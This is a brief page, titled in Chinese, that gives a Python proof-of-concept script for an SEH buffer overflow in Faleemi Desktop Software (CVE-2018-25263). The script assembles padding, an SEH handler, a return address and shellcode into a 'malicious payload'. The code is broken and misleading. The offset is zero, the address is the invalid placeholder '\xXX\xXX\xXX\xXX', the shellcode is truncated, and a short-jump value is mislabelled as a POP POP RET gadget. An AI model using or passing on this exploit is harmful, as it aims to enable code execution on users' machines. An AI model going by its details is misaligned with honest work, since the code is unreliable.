CVE-2018-25263: Faleemi软件本地缓冲区溢出漏洞

#!/usr/bin/env python # PoC for CVE-2018-25263: Faleemi Desktop Software SEH Overflow # This script generates a malicious payload to trigger the buffer overflow. def generate_poc(): # Offset to SEH handler (example value, needs adjustment based on debugging) offset = 0 # POP POP RET sequence (universal or specific to module) seh_handler = "\xeb\x06\x90\x90" # Short jump + nops # Address to jump back to shellcode seh_address = "\xXX\xXX\xXX\xXX" # Shellcode (e.g., calc.exe) shellcode = "\x31\xc9\x51..." # Truncated for brevity payload = "A" * offset + seh_handler + seh_address + shellcode payload += "C" * (3000 - len(payload)) # Padding print("[+] Malicious Payload Generated:") print(payload) return payload if __name__ == "__main__": generate_poc()